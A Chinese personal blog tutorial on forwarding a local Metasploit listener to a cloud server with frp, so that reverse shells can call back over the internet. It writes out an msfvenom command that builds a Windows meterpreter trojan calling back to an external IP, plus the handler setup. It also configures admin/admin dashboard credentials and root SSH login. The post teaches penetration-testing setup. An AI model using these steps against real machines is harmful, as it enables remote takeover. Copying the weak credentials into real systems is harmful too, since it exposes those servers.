低成本打造一个高性能的外网metasploit


本文主要围绕着 frp 这个神器来展开写的,frp 还有很多高级的用法,想要深入研究的建议去阅读作者写在GitHub上的官方文档去学习,祝你学习愉快。

前言

经常用metasploit反弹shell的小伙伴应该都知道再外网有 一台Metasploit是一件多么奢侈的事情~~ 然而一台性能不错的云主机价格大都不菲,并且自己本地高性能的Metasploit用的那么顺手可惜就是没有外网IP。所以这篇文章就此诞生了,利用云主机的独立IP,将本地的Metasploit端口转发到外网上面去。

其实我本人对网络端口转发、网络协议这里很容易搞混淆,让我自己去折腾这个估计得走很多弯路,还不一定成功的那种。本文是在幸安哥的指导下才最终写出来的,祝幸安哥早日拿到新的hhkb。

云服务器选购

考虑到低延迟等特性,买一台国内普通的云主机就可以了。云主机的话腾讯云有学生特惠价,蛮便宜的。

活动地址是:https://cloud.tencent.com/act/campus?fromSource=gwzcw.786783.786783.786783

本次是在CentOS下面搭建的,所以选好服务器后,安装一个CentOS系统即可。

安利一个终端

MobaXterm

  • 支持滑动复制
  • 支持命令行高亮
  • 免费版功能够用
  • 支持SSH、Telnet、Rsh、Xdmcp、RDP、VNC、FTP、SFTP、Serial、Mosh、Aws S3等主流协议

界面如下:

搭建环境准备

  • frps部署机,centos7为例,有外网固定ip,假设ip为1.1.1.1,后文简称frps
  • frpc客户机,kali 2.0为例,能访问互联网,后文简称frpc

CentOS的配置

下载frp

Github项目地址:https://github.com/fatedier/frp

找到最新的releases下载,系统版本自行确认。

[root@sqlsec ~]> wget https://github.com/fatedier/frp/releases/download/v0.16.1/frp_0.16.1_linux_amd64.tar.gz

[root@sqlsec ~]> tar -zxvf frp_0.16.1_linux_amd64.tar.gz

[root@sqlsec ~]> cd frp_0.16.1_linux_amd64/

[root@sqlsec frp_0.16.1_linux_amd64/]> rm -rf frpc*

编写frps配置文件

[root@sqlsec frp_0.16.1_linux_amd64/]> vi frps.ini

内容如下:

[common]
bind_port = 7000
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = admin
  • 第1行为frps和frpc之间通讯端口
  • 第2行为监控页面web地址
  • 第3.4行为监控页面密码

文末会展示其效果。

运行frps

运行frps,-c参数用于指定配置文件,在同级目录下的话 可以直接运行.frps

./frps -c frps.ini  

Kali的配置

配置SSH

运行root远程登陆s

编辑ssh配置文件/etc/ssh/sshd_config

root@kali:~ vim /etc/ssh/sshd_config

在配置文件第一行前添加如下语句:

PermitRootLogin yes

重启ssh并设置为开机自启

root@kali:~ systemctl restart ssh
root@kali:~ systemctl enable ssh

验证SSH

本地使用终端连接虚拟机中的Kali,测试能否连接成功:

下载frp

root@kali:~> wget https://github.com/fatedier/frp/releases/download/v0.16.1/frp_0.16.1_linux_amd64.tar.gz

root@kali:~> tar -zxvf frp_0.16.1_linux_amd64.tar.gz

root@kali:~> cd frp_0.16.1_linux_amd64/

root@kali:~/frp_0.16.1_linux_amd64> rm -rf frps*

注这里最后一句是rm -rf frps*与CentOS下操作的最后一句不相同。

编写frpc配置文件

root@kali:~/frp_0.16.1_linux_amd64> vi frpc.ini

内容如下:

#frps的ip和端口
[common]
server_addr = 1.1.1.1
server_port = 7000

# kali ssh的配置
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 10086
use_compression = true

这里的remote_port = 10086是将Kali的22端口映射到外网IP1.1.1.110086端口的意思。

运行frpc

-c参数用于指定配置文件,在同级目录下的话 可以直接运行.frpc

./frpc -c frpc.ini  

SSH连接测试

λ ssh root@1.1.1.1 -p 10086

成功!美滋滋~~

msf反向shell测试

回到正题现在来进行Metasploit下最基本的反向shell测试,看看能不能成功建立会话连接。

生成Payload

使用msfvenom生成exe木马

root@kali:~> msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=2333 -f exe > sqlsec.exe

32位系统的payload语句调整为:windows/meterpreter/reverse_tcp

这里的1.1.1.1是外网云主机的IP地址,2333是映射到外网的端口

将生成的shell.exe拷贝到一台Windows机器上准备运行。

添加frpc规则

root@kali:~/frp_0.16.1_linux_amd64> vi frpc.ini

修改为如下内容:

[common]
server_addr = 1.1.1.1
server_port = 7000

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 10086

[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 4444
remote_port = 2333

将Kali的4444端口转发到外网1.1.1.12333端口。

运行frps和frpc

分别在CentOSKali下运行frpsfrpc

msf监听反弹的shell

msf > use exploit/multi/handler

msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp

msf exploit(multi/handler) > set LHOST 127.0.0.1
LHOST => 127.0.0.1

msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444

msf exploit(multi/handler) > run

注:32位目标系统这里做如下调整:set PAYLOAD windows/meterpreter/reverse_tcp

然后就开始监听本地的4444端口了,这个时候在Windows下运行sqslec.exe,Kali这边成功拿到反弹的shell会话:

在浏览器中输入http://1.1.1.1:7500用户名和密码都是前面设置的admin,然后就直接进入了dashboard界面,可以更直观的观察到端口转发监听的情况:

结语

frp 可以说是神器级别的工具了,向开发者致敬,关于 frp 更多高级有趣的用法只能等大家自己探索了,溜了溜了~~

赞助本站

如果你喜欢这篇文章的话 不防点一下网站最下方不起眼的广告表示支持!Thanks♪(・ω・)ノ

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,也可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信 支付宝

没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光


文章作者: 国光
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 国光 !
自从点了 👇 广告,腰也不酸了,腿也不疼了
点一下 👆 玩一年 装备不花一分钱!
 上一篇
手把手教你打造一个Mac风格的Windows10(手动滑稽) 手把手教你打造一个Mac风格的Windows10(手动滑稽)
Windows10下DIY成Mac主题的文章。这篇文章鸽了很久。以前只是装完B就跑没有留下教程,今天终于带来你们要的教程啦,实际上现在有成熟的软件可以使用,折腾起来更加简单方便。 效果图话不多说先上最终Windows下折腾安装Mac主题
2018-04-01
下一篇 
Metasploit-ms17-010永恒之蓝 Metasploit-ms17-010永恒之蓝
永恒之蓝是去年玩剩下的了,记得当初刚刚泄露的时候,用的是NSA那个fb.py脚本去复现漏洞的。现在Metasploit里面已经集成了17-010漏洞,渗透测试更加方便与正式化,内网中用17-010去测一测会发现意外惊喜哦。 写在前面起初在
2018-03-26
  目录